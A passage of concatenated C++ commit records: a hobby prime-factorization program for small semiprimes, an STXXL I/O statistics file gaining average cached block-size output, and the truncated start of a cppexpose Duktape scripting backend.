time_t startTime;\r\n time(&startTime);\r\n\r\n unsigned foundPrimes = this->primes.size();\r\n\r\n for (unsigned i = 0; i < foundPrimes; ++i)\r\n {\r\n ull prime = this->primes[i];\r\n bool broke = false;\r\n for (unsigned j = i; j < foundPrimes; ++j)\r\n {\r\n ull primeVal = prime * this->primes[j];\r\n\r\n \/\/ This causes noticeable slowdown instead of just elapsing\r\n \/*if (charLen != 0)\r\n {\r\n std::stringstream ss;\r\n ss << primeVal;\r\n\r\n \/\/ not going to be any other larger primes beyond this one\r\n \/\/ multiplied with this one\r\n if (ss.str().size() != charLen)\r\n {\r\n break;\r\n broke = true;\r\n }\r\n }*\/\r\n\r\n \/\/ we've eliminated what we don't want\r\n\r\n \/\/std::cout << primeVal << \" | \" << prime << \" * \" << primes[j] << std::endl;\r\n\r\n \/\/ 5087 * 5003 (etc..)\r\n if (primeVal == toFactorPrime)\r\n {\r\n time_t endTime;\r\n time(&endTime);\r\n double timeTaken = difftime(endTime, startTime);\r\n\r\n std::cout << \"\\nFound Prime Factors : [p] = \" << prime << \" | [q] = \" << this->primes[j] << std::endl;\r\n std::cout << \"Time Taken To Factor Prime : \" << timeTaken << \" seconds\" << std::endl;\r\n\r\n return;\r\n }\r\n }\r\n }\r\n\r\n std::cout << \"\\nFound : No Two Primes That Make Up : \" << toFactorPrime << std::endl;\r\n}\r\n\r\n\/\/ END PUBLIC\r\n\r\nvoid EncryptionSequence::DoPrimeFactor()\r\n{\r\n std::string inputNumber, foundNumber;\r\n std::cout << \"What Number Do You Want To Factor?\\n:\";\r\n std::getline(std::cin, inputNumber);\r\n\r\n \/\/ parse the inputted number for only numbers\r\n unsigned stringSize = inputNumber.size();\r\n for (unsigned i = 0; i <= stringSize; ++i)\r\n {\r\n if ((inputNumber[i] >= '0' && inputNumber[i] <= '9'))\r\n {\r\n foundNumber += inputNumber[i];\r\n }\r\n }\r\n\r\n EncryptionSequence::PrimeFactor pFactor;\r\n pFactor.FactorPrime(std::stoull(foundNumber), stringSize);\r\n\r\n std::cout << \"\\nPress Enter To Continue\";\r\n getchar();\r\n}<commit_msg>[ PrimeFactorization.cpp Changes ]<commit_after>\/*!\r\n \\author Chase Hutchens\r\n\r\n \\brief\r\n This will attempt to locate 2 prime factors of a larger number.\r\n The discrepancy with this method is the prime factors must be in the range\r\n of the 2 <= factor <= ceil(goldenRatio * sqrt(largePrime)). The reason I chose\r\n to scale by the goldenRatio is because I feel the golden ratio and\r\n prime numbers go hand in hand.\r\n\r\n Example Values :\r\n FAST CALCULATION\r\n 25450261 = 5087 * 5003\r\n\r\n LONGER CALCULATION\r\n 3574406403731 = 2750159 * 1299709\r\n*\/\r\n\r\n#include <iostream>\r\n#include <sstream>\r\n#include <string>\r\n#include <ctime>\r\n#include \"PrimeFactorization.h\"\r\n\r\nstatic const double goldenRatio = (1.0 + sqrt(5)) \/ 2.0;\r\n\r\n\/\/ PRIVATE\r\n\r\n\/*!\r\n \\param thePrime\r\n This is our 'F' number that we are trying to prime factor\r\n*\/\r\nvoid EncryptionSequence::PrimeFactor::DeterminePrimes(const ull thePrime)\r\n{\r\n \/\/ initial p'\r\n ull prime = static_cast<ull>(ceil(goldenRatio * sqrt(thePrime)));\r\n\r\n while (prime > 1)\r\n {\r\n \/\/ p'\r\n ull checkPrime = prime;\r\n\r\n \/\/ p''\r\n ull comparison = static_cast<ull>(ceil(goldenRatio * sqrt(checkPrime)));\r\n \/\/ make sure the startPrime isn't the same as the base prime we're checking against\r\n comparison = comparison == prime ? comparison - 1 : comparison;\r\n bool validPrime = false;\r\n\r\n \/\/ determine what is prime\r\n while (checkPrime % comparison != 0)\r\n {\r\n --comparison;\r\n \/\/ make sure the startPrime isn't the same as the checkPrime we're comparing\r\n \/\/ the startPrime might initially be greater than the checkPrime\r\n \/\/ (kind of messy)\r\n comparison = comparison == checkPrime ? comparison - 1 : comparison;\r\n\r\n if (comparison == 1)\r\n {\r\n validPrime = true;\r\n break;\r\n }\r\n }\r\n\r\n if (validPrime || comparison == 1)\r\n {\r\n this->primes.push_back(checkPrime);\r\n }\r\n\r\n --prime;\r\n\r\n \/\/ a prime is never even, but a prime is 2\r\n while (prime % 2 == 0 && prime != 2)\r\n --prime;\r\n }\r\n\r\n std::cout << \"\\nFound : \" << this->primes.size() << \" Primes That May Make Up \" << thePrime << \"\\n\";\r\n}\r\n\r\n\/\/ END PRIVATE\r\n\r\n\/\/ PUBLIC\r\n\r\nvoid EncryptionSequence::PrimeFactor::FactorPrime(const ull toFactorPrime, const int charLen)\r\n{\r\n std::stringstream greatestDigit;\r\n greatestDigit << toFactorPrime;\r\n\r\n DeterminePrimes(toFactorPrime);\r\n\r\n time_t startTime;\r\n time(&startTime);\r\n\r\n unsigned foundPrimes = this->primes.size();\r\n\r\n for (unsigned i = 0; i < foundPrimes; ++i)\r\n {\r\n ull prime = this->primes[i];\r\n bool broke = false;\r\n for (unsigned j = i; j < foundPrimes; ++j)\r\n {\r\n ull primeVal = prime * this->primes[j];\r\n\r\n \/\/ This causes noticeable slowdown instead of just elapsing\r\n \/*if (charLen != 0)\r\n {\r\n std::stringstream ss;\r\n ss << primeVal;\r\n\r\n \/\/ not going to be any other larger primes beyond this one\r\n \/\/ multiplied with this one\r\n if (ss.str().size() != charLen)\r\n {\r\n break;\r\n broke = true;\r\n }\r\n }*\/\r\n\r\n \/\/ we've eliminated what we don't want\r\n\r\n \/\/std::cout << primeVal << \" | \" << prime << \" * \" << primes[j] << std::endl;\r\n\r\n \/\/ 5087 * 5003 (etc..)\r\n if (primeVal == toFactorPrime)\r\n {\r\n time_t endTime;\r\n time(&endTime);\r\n double timeTaken = difftime(endTime, startTime);\r\n\r\n std::cout << \"\\nFound Prime Factors : [p] = \" << prime << \" | [q] = \" << this->primes[j] << std::endl;\r\n std::cout << \"Time Taken To Factor Prime : \" << timeTaken << \" seconds\" << std::endl;\r\n\r\n return;\r\n }\r\n }\r\n }\r\n\r\n std::cout << \"\\nFound : No Two Primes That Make Up : \" << toFactorPrime << std::endl;\r\n}\r\n\r\n\/\/ END PUBLIC\r\n\r\nvoid EncryptionSequence::DoPrimeFactor()\r\n{\r\n std::string inputNumber, foundNumber;\r\n std::cout << \"What Number Do You Want To Factor?\\n:\";\r\n std::getline(std::cin, inputNumber);\r\n\r\n \/\/ parse the inputted number for only numbers\r\n unsigned stringSize = inputNumber.size();\r\n for (unsigned i = 0; i <= stringSize; ++i)\r\n {\r\n if ((inputNumber[i] >= '0' && inputNumber[i] <= '9'))\r\n {\r\n foundNumber += inputNumber[i];\r\n }\r\n }\r\n\r\n EncryptionSequence::PrimeFactor pFactor;\r\n pFactor.FactorPrime(std::stoull(foundNumber), stringSize);\r\n\r\n std::cout << \"\\nPress Enter To Continue\";\r\n getchar();\r\n}<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n * io\/iostats.cpp\n *\n * Part of the STXXL. See http:\/\/stxxl.sourceforge.net\n *\n * Copyright (C) 2002-2004 Roman Dementiev <dementiev@mpi-sb.mpg.de>\n * Copyright (C) 2008 Andreas Beckmann <beckmann@mpi-inf.mpg.de>\n *\n * Distributed under the Boost Software License, Version 1.0.\n * (See accompanying file LICENSE_1_0.txt or copy at\n * http:\/\/www.boost.org\/LICENSE_1_0.txt)\n **************************************************************************\/\n\n#include <string>\n#include <sstream>\n#include <iomanip>\n#include <stxxl\/bits\/io\/iostats.h>\n\n\n__STXXL_BEGIN_NAMESPACE\n\nstats::stats() :\n reads(0),\n writes(0),\n volume_read(0),\n volume_written(0),\n t_reads(0.0),\n t_writes(0.0),\n p_reads(0.0),\n p_writes(0.0),\n p_begin_read(0.0),\n p_begin_write(0.0),\n p_ios(0.0),\n p_begin_io(0.0),\n t_waits(0.0),\n p_waits(0.0),\n p_begin_wait(0.0),\n acc_reads(0), acc_writes(0),\n acc_ios(0),\n acc_waits(0),\n last_reset(timestamp())\n{ }\n\n#ifndef STXXL_IO_STATS_RESET_FORBIDDEN\nvoid stats::reset()\n{\n {\n scoped_mutex_lock ReadLock(read_mutex);\n\n \/\/assert(acc_reads == 0);\n if (acc_reads)\n STXXL_ERRMSG(\"Warning: \" << acc_reads <<\n \" read(s) not yet finished\");\n\n reads = 0;\n\n volume_read = 0;\n t_reads = 0;\n p_reads = 0.0;\n }\n {\n scoped_mutex_lock WriteLock(write_mutex);\n\n \/\/assert(acc_writes == 0);\n if (acc_writes)\n STXXL_ERRMSG(\"Warning: \" << acc_writes <<\n \" write(s) not yet finished\");\n\n writes = 0;\n\n volume_written = 0;\n t_writes = 0.0;\n p_writes = 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n \/\/assert(acc_ios == 0);\n if (acc_ios)\n STXXL_ERRMSG(\"Warning: \" << acc_ios <<\n \" io(s) not yet finished\");\n\n p_ios = 0.0;\n }\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n \/\/assert(acc_waits == 0);\n if (acc_waits)\n STXXL_ERRMSG(\"Warning: \" << acc_waits <<\n \" wait(s) not yet finished\");\n\n t_waits = 0.0;\n p_waits = 0.0;\n }\n\n last_reset = timestamp();\n}\n#endif\n\n#if STXXL_IO_STATS\nvoid stats::write_started(unsigned size_)\n{\n double now = timestamp();\n {\n scoped_mutex_lock WriteLock(write_mutex);\n\n ++writes;\n volume_written += size_;\n double diff = now - p_begin_write;\n t_writes += double(acc_writes) * diff;\n p_begin_write = now;\n p_writes += (acc_writes++) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios++) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::write_finished()\n{\n double now = timestamp();\n {\n scoped_mutex_lock WriteLock(write_mutex);\n\n double diff = now - p_begin_write;\n t_writes += double(acc_writes) * diff;\n p_begin_write = now;\n p_writes += (acc_writes--) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios--) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::write_cached(unsigned size_)\n{\n scoped_mutex_lock WriteLock(write_mutex);\n\n ++c_writes;\n c_volume_written += size_;\n}\n\nvoid stats::read_started(unsigned size_)\n{\n double now = timestamp();\n {\n scoped_mutex_lock ReadLock(read_mutex);\n\n ++reads;\n volume_read += size_;\n double diff = now - p_begin_read;\n t_reads += double(acc_reads) * diff;\n p_begin_read = now;\n p_reads += (acc_reads++) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios++) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::read_finished()\n{\n double now = timestamp();\n {\n scoped_mutex_lock ReadLock(read_mutex);\n\n double diff = now - p_begin_read;\n t_reads += double(acc_reads) * diff;\n p_begin_read = now;\n p_reads += (acc_reads--) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios--) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::read_cached(unsigned size_)\n{\n scoped_mutex_lock WriteLock(read_mutex);\n\n ++c_reads;\n c_volume_read += size_;\n}\n#endif\n\n#ifdef COUNT_WAIT_TIME\nvoid stats::wait_started()\n{\n double now = timestamp();\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n double diff = now - p_begin_wait;\n t_waits += double(acc_waits) * diff;\n p_begin_wait = now;\n p_waits += (acc_waits++) ? diff : 0.0;\n }\n}\n\nvoid stats::wait_finished()\n{\n double now = timestamp();\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n double diff = now - p_begin_wait;\n t_waits += double(acc_waits) * diff;\n p_begin_wait = now;\n p_waits += (acc_waits--) ? diff : 0.0;\n }\n}\n#endif\n\nvoid stats::_reset_io_wait_time()\n{\n#ifdef COUNT_WAIT_TIME\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n \/\/assert(acc_waits == 0);\n if (acc_waits)\n STXXL_ERRMSG(\"Warning: \" << acc_waits <<\n \" wait(s) not yet finished\");\n\n t_waits = 0.0;\n p_waits = 0.0;\n }\n#endif\n}\n\nstd::string hr(uint64 number, const char * unit = \"\")\n{\n \/\/ may not overflow, std::numeric_limits<uint64>::max() == 16 EB\n static const char * endings[] = { \" \", \"K\", \"M\", \"G\", \"T\", \"P\", \"E\" };\n std::ostringstream out;\n out << number << ' ';\n int scale = 0;\n double number_d = number;\n while (number_d >= 1024.0)\n {\n number_d \/= 1024.0;\n ++scale;\n }\n if (scale > 0)\n out << '(' << std::fixed << std::setprecision(3) << number_d << ' ' << endings[scale] << unit << \") \";\n return out.str();\n}\n\nstd::ostream & operator << (std::ostream & o, const stats_data & s)\n{\n o << \"STXXL I\/O statistics\" << std::endl;\n#if STXXL_IO_STATS\n o << \" total number of reads : \" << hr(s.get_reads()) << std::endl;\n o << \" average block size (read) : \"\n << hr(s.get_reads() ? s.get_read_volume() \/ s.get_reads() : 0, \"B\") << std::endl;\n o << \" number of bytes read from disks : \" << hr(s.get_read_volume(), \"B\") << std::endl;\n o << \" time spent in serving all read requests : \" << s.get_read_time() << \" sec.\"\n << \" @ \" << (s.get_read_volume() \/ 1048576.0 \/ s.get_read_time()) << \" MB\/sec.\"\n << std::endl;\n o << \" time spent in reading (parallel read time) : \" << s.get_pread_time() << \" sec.\"\n << \" @ \" << (s.get_read_volume() \/ 1048576.0 \/ s.get_pread_time()) << \" MB\/sec.\"\n << std::endl;\n if (s.get_cached_reads()) {\n o << \" total number of cached reads : \" << hr(s.get_cached_reads()) << std::endl;\n o << \" number of bytes read from cache : \" << hr(s.get_cached_read_volume(), \"B\") << std::endl;\n }\n if (s.get_cached_writes()) {\n o << \" total number of cached writes : \" << hr(s.get_cached_writes()) << std::endl;\n o << \" number of bytes written to cache : \" << hr(s.get_cached_written_volume(), \"B\") << std::endl;\n }\n o << \" total number of writes : \" << hr(s.get_writes()) << std::endl;\n o << \" average block size (write) : \"\n << hr(s.get_writes() ? s.get_written_volume() \/ s.get_writes() : 0, \"B\") << std::endl;\n o << \" number of bytes written to disks : \" << hr(s.get_written_volume(), \"B\") << std::endl;\n o << \" time spent in serving all write requests : \" << s.get_write_time() << \" sec.\"\n << \" @ \" << (s.get_written_volume() \/ 1048576.0 \/ s.get_write_time()) << \" MB\/sec.\"\n << std::endl;\n o << \" time spent in writing (parallel write time): \" << s.get_pwrite_time() << \" sec.\"\n << \" @ \" << (s.get_written_volume() \/ 1048576.0 \/ s.get_pwrite_time()) << \" MB\/sec.\"\n << std::endl;\n o << \" time spent in I\/O (parallel I\/O time) : \" << s.get_pio_time() << \" sec.\"\n << \" @ \" << ((s.get_read_volume() + s.get_written_volume()) \/ 1048576.0 \/ s.get_pio_time()) << \" MB\/sec.\"\n << std::endl;\n#else\n o << \" n\/a\" << std::endl;\n#endif\n#ifdef COUNT_WAIT_TIME\n o << \" I\/O wait time : \" << s.get_io_wait_time() << \" sec.\" << std::endl;\n#endif\n o << \" Time since the last reset : \" << s.get_elapsed_time() << \" sec.\" << std::endl;\n return o;\n}\n\n__STXXL_END_NAMESPACE\n<commit_msg>add average cached block sizes<commit_after>\/***************************************************************************\n * io\/iostats.cpp\n *\n * Part of the STXXL. See http:\/\/stxxl.sourceforge.net\n *\n * Copyright (C) 2002-2004 Roman Dementiev <dementiev@mpi-sb.mpg.de>\n * Copyright (C) 2008 Andreas Beckmann <beckmann@mpi-inf.mpg.de>\n *\n * Distributed under the Boost Software License, Version 1.0.\n * (See accompanying file LICENSE_1_0.txt or copy at\n * http:\/\/www.boost.org\/LICENSE_1_0.txt)\n **************************************************************************\/\n\n#include <string>\n#include <sstream>\n#include <iomanip>\n#include <stxxl\/bits\/io\/iostats.h>\n\n\n__STXXL_BEGIN_NAMESPACE\n\nstats::stats() :\n reads(0),\n writes(0),\n volume_read(0),\n volume_written(0),\n t_reads(0.0),\n t_writes(0.0),\n p_reads(0.0),\n p_writes(0.0),\n p_begin_read(0.0),\n p_begin_write(0.0),\n p_ios(0.0),\n p_begin_io(0.0),\n t_waits(0.0),\n p_waits(0.0),\n p_begin_wait(0.0),\n acc_reads(0), acc_writes(0),\n acc_ios(0),\n acc_waits(0),\n last_reset(timestamp())\n{ }\n\n#ifndef STXXL_IO_STATS_RESET_FORBIDDEN\nvoid stats::reset()\n{\n {\n scoped_mutex_lock ReadLock(read_mutex);\n\n \/\/assert(acc_reads == 0);\n if (acc_reads)\n STXXL_ERRMSG(\"Warning: \" << acc_reads <<\n \" read(s) not yet finished\");\n\n reads = 0;\n\n volume_read = 0;\n t_reads = 0;\n p_reads = 0.0;\n }\n {\n scoped_mutex_lock WriteLock(write_mutex);\n\n \/\/assert(acc_writes == 0);\n if (acc_writes)\n STXXL_ERRMSG(\"Warning: \" << acc_writes <<\n \" write(s) not yet finished\");\n\n writes = 0;\n\n volume_written = 0;\n t_writes = 0.0;\n p_writes = 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n \/\/assert(acc_ios == 0);\n if (acc_ios)\n STXXL_ERRMSG(\"Warning: \" << acc_ios <<\n \" io(s) not yet finished\");\n\n p_ios = 0.0;\n }\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n \/\/assert(acc_waits == 0);\n if (acc_waits)\n STXXL_ERRMSG(\"Warning: \" << acc_waits <<\n \" wait(s) not yet finished\");\n\n t_waits = 0.0;\n p_waits = 0.0;\n }\n\n last_reset = timestamp();\n}\n#endif\n\n#if STXXL_IO_STATS\nvoid stats::write_started(unsigned size_)\n{\n double now = timestamp();\n {\n scoped_mutex_lock WriteLock(write_mutex);\n\n ++writes;\n volume_written += size_;\n double diff = now - p_begin_write;\n t_writes += double(acc_writes) * diff;\n p_begin_write = now;\n p_writes += (acc_writes++) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios++) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::write_finished()\n{\n double now = timestamp();\n {\n scoped_mutex_lock WriteLock(write_mutex);\n\n double diff = now - p_begin_write;\n t_writes += double(acc_writes) * diff;\n p_begin_write = now;\n p_writes += (acc_writes--) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios--) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::write_cached(unsigned size_)\n{\n scoped_mutex_lock WriteLock(write_mutex);\n\n ++c_writes;\n c_volume_written += size_;\n}\n\nvoid stats::read_started(unsigned size_)\n{\n double now = timestamp();\n {\n scoped_mutex_lock ReadLock(read_mutex);\n\n ++reads;\n volume_read += size_;\n double diff = now - p_begin_read;\n t_reads += double(acc_reads) * diff;\n p_begin_read = now;\n p_reads += (acc_reads++) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios++) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::read_finished()\n{\n double now = timestamp();\n {\n scoped_mutex_lock ReadLock(read_mutex);\n\n double diff = now - p_begin_read;\n t_reads += double(acc_reads) * diff;\n p_begin_read = now;\n p_reads += (acc_reads--) ? diff : 0.0;\n }\n {\n scoped_mutex_lock IOLock(io_mutex);\n\n double diff = now - p_begin_io;\n p_ios += (acc_ios--) ? diff : 0.0;\n p_begin_io = now;\n }\n}\n\nvoid stats::read_cached(unsigned size_)\n{\n scoped_mutex_lock WriteLock(read_mutex);\n\n ++c_reads;\n c_volume_read += size_;\n}\n#endif\n\n#ifdef COUNT_WAIT_TIME\nvoid stats::wait_started()\n{\n double now = timestamp();\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n double diff = now - p_begin_wait;\n t_waits += double(acc_waits) * diff;\n p_begin_wait = now;\n p_waits += (acc_waits++) ? diff : 0.0;\n }\n}\n\nvoid stats::wait_finished()\n{\n double now = timestamp();\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n double diff = now - p_begin_wait;\n t_waits += double(acc_waits) * diff;\n p_begin_wait = now;\n p_waits += (acc_waits--) ? diff : 0.0;\n }\n}\n#endif\n\nvoid stats::_reset_io_wait_time()\n{\n#ifdef COUNT_WAIT_TIME\n {\n scoped_mutex_lock WaitLock(wait_mutex);\n\n \/\/assert(acc_waits == 0);\n if (acc_waits)\n STXXL_ERRMSG(\"Warning: \" << acc_waits <<\n \" wait(s) not yet finished\");\n\n t_waits = 0.0;\n p_waits = 0.0;\n }\n#endif\n}\n\nstd::string hr(uint64 number, const char * unit = \"\")\n{\n \/\/ may not overflow, std::numeric_limits<uint64>::max() == 16 EB\n static const char * endings[] = { \" \", \"K\", \"M\", \"G\", \"T\", \"P\", \"E\" };\n std::ostringstream out;\n out << number << ' ';\n int scale = 0;\n double number_d = number;\n while (number_d >= 1024.0)\n {\n number_d \/= 1024.0;\n ++scale;\n }\n if (scale > 0)\n out << '(' << std::fixed << std::setprecision(3) << number_d << ' ' << endings[scale] << unit << \") \";\n return out.str();\n}\n\nstd::ostream & operator << (std::ostream & o, const stats_data & s)\n{\n o << \"STXXL I\/O statistics\" << std::endl;\n#if STXXL_IO_STATS\n o << \" total number of reads : \" << hr(s.get_reads()) << std::endl;\n o << \" average block size (read) : \"\n << hr(s.get_reads() ? s.get_read_volume() \/ s.get_reads() : 0, \"B\") << std::endl;\n o << \" number of bytes read from disks : \" << hr(s.get_read_volume(), \"B\") << std::endl;\n o << \" time spent in serving all read requests : \" << s.get_read_time() << \" sec.\"\n << \" @ \" << (s.get_read_volume() \/ 1048576.0 \/ s.get_read_time()) << \" MB\/sec.\"\n << std::endl;\n o << \" time spent in reading (parallel read time) : \" << s.get_pread_time() << \" sec.\"\n << \" @ \" << (s.get_read_volume() \/ 1048576.0 \/ s.get_pread_time()) << \" MB\/sec.\"\n << std::endl;\n if (s.get_cached_reads()) {\n o << \" total number of cached reads : \" << hr(s.get_cached_reads()) << std::endl;\n o << \" average block size (cached read) : \" << hr(s.get_cached_read_volume() \/ s.get_cached_reads(), \"B\") << std::endl;\n o << \" number of bytes read from cache : \" << hr(s.get_cached_read_volume(), \"B\") << std::endl;\n }\n if (s.get_cached_writes()) {\n o << \" total number of cached writes : \" << hr(s.get_cached_writes()) << std::endl;\n o << \" average block size (cached write) : \" << hr(s.get_cached_written_volume() \/ s.get_cached_writes(), \"B\") << std::endl;\n o << \" number of bytes written to cache : \" << hr(s.get_cached_written_volume(), \"B\") << std::endl;\n }\n o << \" total number of writes : \" << hr(s.get_writes()) << std::endl;\n o << \" average block size (write) : \"\n << hr(s.get_writes() ? s.get_written_volume() \/ s.get_writes() : 0, \"B\") << std::endl;\n o << \" number of bytes written to disks : \" << hr(s.get_written_volume(), \"B\") << std::endl;\n o << \" time spent in serving all write requests : \" << s.get_write_time() << \" sec.\"\n << \" @ \" << (s.get_written_volume() \/ 1048576.0 \/ s.get_write_time()) << \" MB\/sec.\"\n << std::endl;\n o << \" time spent in writing (parallel write time): \" << s.get_pwrite_time() << \" sec.\"\n << \" @ \" << (s.get_written_volume() \/ 1048576.0 \/ s.get_pwrite_time()) << \" MB\/sec.\"\n << std::endl;\n o << \" time spent in I\/O (parallel I\/O time) : \" << s.get_pio_time() << \" sec.\"\n << \" @ \" << ((s.get_read_volume() + s.get_written_volume()) \/ 1048576.0 \/ s.get_pio_time()) << \" MB\/sec.\"\n << std::endl;\n#else\n o << \" n\/a\" << std::endl;\n#endif\n#ifdef COUNT_WAIT_TIME\n o << \" I\/O wait time : \" << s.get_io_wait_time() << \" sec.\" << std::endl;\n#endif\n o << \" Time since the last reset : \" << s.get_elapsed_time() << \" sec.\" << std::endl;\n return o;\n}\n\n__STXXL_END_NAMESPACE\n<|endoftext|>"} {"text":"<commit_before>\n#include \"DuktapeScriptBackend.h\"\n\n#include <iostream>\n\n#include <cppassist\/logging\/logging.h>\n\n#include <cppexpose\/reflection\/Object.h>\n#include <cppexpose\/variant\/Variant.h>\n#include <cppexpose\/scripting\/ScriptContext.h>\n\n#include \"DuktapeScriptFunction.h\"\n#include \"DuktapeObjectWrapper.h\"\n\n\nusing namespace cppassist;\n\n\nnamespace cppexpose\n{\n\n\nconst char * s_duktapeScriptBackendKey = \"duktapeScriptBackend\";\nconst char * s_duktapeNextStashIndexKey = \"duktapeNextStashFunctionIndex\";\nconst char * s_duktapeFunctionPointerKey = \"duktapeFunctionPointer\";\nconst char * s_duktapeObjectPointerKey = \"duktapeObjectPointer\";\nconst char * s_duktapePropertyNameKey = \"duktapePropertyName\";\n\n\nDuktapeScriptBackend::DuktapeScriptBackend()\n: m_context(nullptr)\n, m_globalObjWrapper(nullptr)\n{\n \/\/ Create duktape script context\n m_context = duk_create_heap_default();\n}\n\nDuktapeScriptBackend::~DuktapeScriptBackend()\n{\n \/\/ Destroy duktape script context\n duk_destroy_heap(m_context);\n}\n\nvoid DuktapeScriptBackend::initialize(ScriptContext * scriptContext)\n{\n \/\/ Store script context\n m_scriptContext = scriptContext;\n\n \/\/ Get stash\n duk_push_global_stash(m_context);\n\n \/\/ Save pointer to script backend in global stash\n void * context_ptr = static_cast<void *>(this);\n duk_push_pointer(m_context, context_ptr);\n duk_put_prop_string(m_context, -2, s_duktapeScriptBackendKey);\n\n \/\/ Initialize next index for storing functions and objects in the stash\n duk_push_int(m_context, 0);\n duk_put_prop_string(m_context, -2, s_duktapeNextStashIndexKey);\n\n \/\/ Release stash\n duk_pop(m_context);\n}\n\nvoid DuktapeScriptBackend::setGlobalObject(Object * obj)\n{\n \/\/ Destroy former global object wrapper\n if (m_globalObjWrapper)\n {\n \/\/ Remove property in the global object\n duk_push_global_object(m_context);\n duk_del_prop_string(m_context, duk_get_top_index(m_context), obj->name().c_str());\n duk_pop(m_context);\n }\n\n \/\/ Create object wrapper\n m_globalObjWrapper = cppassist::make_unique<DuktapeObjectWrapper>(this);\n\n \/\/ Wrap object in javascript object and put it into the global object\n duk_push_global_object(m_context);\n m_globalObjWrapper->wrapObject(duk_get_top_index(m_context), obj);\n duk_pop(m_context);\n}\n\nVariant DuktapeScriptBackend::evaluate(const std::string & code)\n{\n \/\/ Check code for errors\n duk_int_t error = duk_peval_string(m_context, code.c_str());\n\n if (error)\n {\n \/\/ Raise exception\n m_scriptContext->scriptException(std::string(duk_safe_to_string(m_context, -1)));\n\n \/\/ Abort and return undefined value\n duk_pop(m_context);\n return Variant();\n }\n\n \/\/ Convert return value to variant\n Variant value = fromDukStack();\n duk_pop(m_context);\n return value;\n}\n\nDuktapeScriptBackend * DuktapeScriptBackend::getScriptBackend(duk_context * context)\n{\n \/\/ Get stash object\n duk_push_global_stash(context);\n\n \/\/ Get pointer to duktape scripting backend\n duk_get_prop_string(context, -1, s_duktapeScriptBackendKey);\n void * ptr = duk_get_pointer(context, -1);\n duk_pop_2(context);\n\n \/\/ Return duktape scripting backend\n return static_cast<DuktapeScriptBackend *>(ptr);\n}\n\nVariant DuktapeScriptBackend::fromDukStack(duk_idx_t index)\n{\n \/\/ Wrapped object function\n if (duk_is_c_function(m_context, index))\n {\n \/\/ Get pointer to wrapped function\n duk_get_prop_string(m_context, index, s_duktapeFunctionPointerKey);\n Function * func = reinterpret_cast<Function *>( duk_get_pointer(m_context, -1) );\n duk_pop(m_context);\n\n \/\/ Return wrapped function\n return Variant::fromValue<Function>(*func);\n }\n\n \/\/ Javascript function - will be stored in global stash for access from C++ later\n else if (duk_is_ecmascript_function(m_context, index))\n {\n \/\/ Get stash object\n duk_push_global_stash(m_context);\n\n \/\/ Get next free index in global stash\n int funcIndex = getNextStashIndex();\n duk_push_int(m_context, funcIndex);\n\n \/\/ Copy function object to the top and put it as property into global stash\n duk_dup(m_context, -3);\n duk_put_prop(m_context, -3);\n\n \/\/ Close stash\n duk_pop(m_context);\n\n \/\/ Return callable function\n Function function(cppassist::make_unique<DuktapeScriptFunction>(this, funcIndex));\n return Variant::fromValue<Function>(function);\n }\n\n \/\/ Number\n else if (duk_is_number(m_context, index))\n {\n double value = duk_get_number(m_context, index);\n return Variant(value);\n }\n\n \/\/ Boolean\n else if (duk_is_boolean(m_context, index))\n {\n bool value = duk_get_boolean(m_context, index) > 0;\n return Variant(value);\n }\n\n \/\/ String\n else if (duk_is_string(m_context, index))\n {\n const char *str = duk_get_string(m_context, index);\n return Variant(str);\n }\n\n \/\/ Array\n else if (duk_is_array(m_context, index))\n {\n VariantArray array;\n\n for (unsigned int i = 0; i < duk_get_length(m_context, index); ++i)\n {\n duk_get_prop_index(m_context, index, i);\n array.push_back(fromDukStack());\n duk_pop(m_context);\n }\n\n return array;\n }\n\n \/\/ Object\n else if (duk_is_object(m_context, index))\n {\n VariantMap map;\n\n duk_enum(m_context, index, 0);\n while (duk_next(m_context, -1, 1))\n {\n \/\/ Prevent the pointer to the C++ object that is stored in the Ecmascript object from being serialized\n if (!(duk_is_pointer(m_context, -1) && fromDukStack(-2).value<std::string>() == s_duktapeObjectPointerKey))\n {\n map.insert({ fromDukStack(-2).value<std::string>(), fromDukStack(-1) });\n }\n\n duk_pop_2(m_context);\n }\n\n duk_pop(m_context);\n\n return Variant(map);\n }\n\n \/\/ Pointer\n else if (duk_is_pointer(m_context, index))\n {\n return Variant::fromValue<void *>(duk_get_pointer(m_context, index));\n }\n\n \/\/ Undefined\n else if (duk_is_undefined(m_context, index))\n {\n return Variant();\n }\n\n \/\/ Unknown type\n warning() << \"Unknown type found: \" << duk_get_type(m_context, index) << std::endl;\n warning() << \"Duktape stack dump:\" << std::endl;\n duk_dump_context_stderr(m_context);\n return Variant();\n}\n\nvoid 